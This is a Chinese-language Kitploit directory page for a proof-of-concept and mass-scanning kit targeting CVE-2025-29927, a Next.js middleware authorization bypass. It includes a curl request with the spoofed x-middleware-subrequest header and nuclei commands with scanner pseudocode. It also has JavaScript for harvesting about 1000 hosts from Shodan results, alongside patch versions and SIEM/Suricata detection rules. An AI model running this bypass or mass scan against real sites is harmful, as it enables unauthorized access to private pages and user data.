Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-29927 — 面向 CVE-2025-29927 的概念验证与批量扫描工具包,该漏洞通过伪造 x-middleware-subrequest 头可绕过 Next.js 中间件授权验证。内含 nuclei 模板及 Python 扫描器。 | Kitploit
工具/GitHubGitHub/sdrtba/cve-2025-29927
身份验证与授权漏洞分析IDS/IPS规避Web应用程序漏洞利用渗透测试学习与教育
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

面向 CVE-2025-29927 的概念验证与批量扫描工具包,该漏洞通过伪造 x-middleware-subrequest 头可绕过 Next.js 中间件授权验证。内含 nuclei 模板及 Python 扫描器。

查看仓库
311个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-29927 — Next.js (中间件授权绕过)

简述: Next.js 中间件中的一个漏洞,允许通过伪造 x-middleware-subrequest 标头绕过授权检查。


目录

  • CVE-2025-29927 — Next.js (中间件授权绕过)
    • 目录
    • 收集易受攻击的主机
    • 更多信息
    • 简要描述
    • 漏洞细节
    • CWE 弱点枚举
    • 影响与额外风险
    • 受影响版本
    • CVSS 与指标
    • PoC — 本地安全复现
    • 批量检测 (nuclei、Python)
      • Nuclei
      • Python 扫描器 (架构)
    • 缓解 / 修复措施
    • 检测 / SIEM / IDS 规则
    • 发现与批量检测 (扫描与检测)
    • 资源与链接

收集易受攻击的主机

已在 shodan 中按过滤条件 http.headers:"x-middleware-rewrite" 进行搜索,并获取了一个包含 1000 个域名的列表

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


更多信息

  1. 上下文与背景 在早期版本的 Next.js 中间件中,可能会向应用程序本身发起内部(子)请求。为了防止递归,框架引入了内部 HTTP 标头——内部标记,用于标记“该请求已被处理”。这种方法很实用,且能避免中间件管道中的无限循环。

  2. 中间件的演变与有效载荷 (payloads) 在 Next.js 12.2 之前,中间件位于 pages/ 内的 _middleware 中,并且可以是嵌套的(如 pages/_middleware、pages/dashboard/_middleware 等)。有效载荷可以指定具体路径(x-middleware-subrequest: pages/dashboard/_middleware)。 从 12.2 开始,中间件更名为 middleware.js/ts 并且不再位于 pages/ 内。在此情况下,简单的有效载荷 x-middleware-subrequest: middleware(或使用 src/ 时 src/middleware)通常有效。 较新版本(≥ 13.2.0)引入了额外检查,包括 MAX_RECURSION_DEPTH;在某些绕过方法中,使用了重复的值,如 middleware:middleware:... 来模拟嵌套链。 实际:有效载荷的确切格式取决于 Next.js 版本和项目结构。

  3. 修复历史与 问题 最初的快速补丁包括一个内部标识符 的概念,它在运行时生成并验证,以区分合法的内部子请求与伪造请求。 然而,该实现显示了一个副作用:这个内部 ID 可能向外泄露(例如在出站 fetch/请求中),从而引入了新风险。此外,在多 CDN/PoP 以及混合运行时(Edge vs Node)的情况下,标识符的签名/同步被证明不可靠。 结果, 相关的代码被删除/重写;最终方案是结合 Next.js 补丁和平台级缓解措施(在入口/边缘层过滤传入的内部标头)。


简要描述

  • CVE: CVE-2025-29927
  • 产品: Next.js (Vercel)
  • 简述: 实现授权功能的中间件错误地信任了内部标记 x-middleware-subrequest。外部客户端可以设置此标头并绕过访问检查。
  • NVD 发布日期: 2025 年 3 月 21 日
  • CNA: GitHub, Inc.

漏洞细节

  • 描述: 错误在于 Next.js 的中间件在做出访问决策时依赖于内部标记 x-middleware-subrequest。该字段原本用于框架内部操作,但外部请求可以设置此标头,从而绕过授权。
  • 漏洞原因: 不正确/不安全的授权逻辑——信任传入的标头。
  • 利用条件: Web 应用仅使用中间件进行授权;应用使用了易受攻击的 Next.js 版本。

CWE 弱点枚举

  • CWE-863: 不正确的授权 — 主要
    • 证据: 中间件信任了 'x-middleware-subrequest' 标头,并未经额外验证即放行请求。
  • CWE-285: 不正确的授权 — 次要
    • 证据: 对于仅内部流程缺乏可靠的身份验证/授权。

影响与额外风险

  • 影响: 绕过授权可访问私有页面/数据,可能实现权限提升(取决于应用程序),危害用户数据。
  • 额外风险: CPDoS (缓存投毒拒绝服务): 该漏洞可能允许操纵 CDN/边缘缓存(例如,如果内部子请求将资源标记为私有/公共),导致缓存中毒、潜在拒绝服务或数据泄露。
  • 后果示例: PII 泄露、业务逻辑绕过、会话被攻破、应用程序路由被篡改。

受影响版本

以下版本范围易受攻击:

  • >= 11.1.4 且 < 12.3.5
  • >= 13.0.0 且 < 13.5.9
  • >= 14.0.0 且 < 14.2.25
  • >= 15.0.0 且 < 15.2.3

CVSS 与指标

  • 基础分: 9.1 (严重)
  • 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • 时间分: E:P (PoC) * RL:O (官方修复) * RC:C (已确认) = 8.2 (近似时间分)。

PoC — 本地安全复现

  1. 启动易受攻击的演示:
root@kitploit:~
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. 简单的只读 PoC (curl):
root@kitploit:~
# 不带标头 — 预期拒绝 (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# 带伪造标头 — 如果存在漏洞,将返回 200 + 响应体
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

批量检测 (nuclei、Python)

Nuclei

  • 被动模板: 检测指纹 (/_next/static/、package.json、标头、favicon 哈希) — 安全模式。
  • 主动模板: 发送带 x-middleware-subrequest 的 GET 请求并比较响应。必须使用 rate-limit 和 throttle。

启动命令 (示例):

root@kitploit:~
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# active (可控)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

Python 扫描器 (架构)

  • 算法: 对每个主机获取基础响应(不带标头) → 使用 x-middleware-subrequest 标头重复 → 比较状态和响应体。
  • 必需选项: --concurrency、--delay、--dry-run、--respect-robots。
  • 使用 aiohttp / asyncio 以实现高性能。

简短伪代码:

root@kitploit:~
async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)

缓解 / 修复措施

  1. 主要: 更新 Next.js 到已修复的版本:
    • >= 12.3.5、>= 13.5.9、>= 14.2.25、>= 15.2.3。
  2. 快速修复 (边缘/代理): 在边界处删除/清除 x-middleware-subrequest 标头:
  3. 应用更改: 移除授权对传入标头的依赖;改用 JWT/会话令牌/服务器端验证。
  4. 检测: 添加日志记录和 SIEM/IDS 规则: 对于外部请求中包含 x-middleware-subrequest 的请求发出警报并检查来源。

检测 / SIEM / IDS 规则

规则/警报示例:

  • SIEM: 对于传入请求中带有 x-middleware-subrequest,且 source.ip 不在 trusted_proxies 中的情况发出警报。

  • Suricata (伪代码):

root@kitploit:~
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)

发现与批量检测 (扫描与检测)

  • 被动 (nuclei / 指纹): 使用 projectdiscovery/nuclei-templates 中针对 CVE-2025-29927 的 nuclei 模板(通过指纹检测: /_next/static/、package.json、标头、favicon 哈希)。无利用行为 — 安全。
  • 主动 (nuclei): 谨慎的模板,发送带 x-middleware-subrequest 标头的 GET 请求,并检查响应差异(响应体/状态)。必须使用 throttle 和 rate-limit。
  • Python/Go 脚本 (多线程):
    • 策略: 对每个主机 → 获取不带标头的基线 → 重复带标头的请求 → 比较。
    • 安全措施: delay、每主机关闭时间、--dry-run 与 --respect-robots 选项。
  • SIEM/IDS 规则 (示例):
root@kitploit:~
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies

资源与链接

  • NVD / CVE-2025-29927 (NVD 条目) — 包含版本和 CVSS;
  • GitHub Advisory / Vercel advisory — 包含补丁;
  • PoC 仓库 (请替换为真实 URL):
    • https://github.com/<author>/CVE-2025-29927-POC
    • https://github.com/<author>/vulnerable-nextjs-demo
  • ProjectDiscovery / nuclei-templates — CVE-2025-29927 模板。
下载工具
x-middleware-subrequest-id
x-middleware-subrequest-id
x-middleware-subrequest-id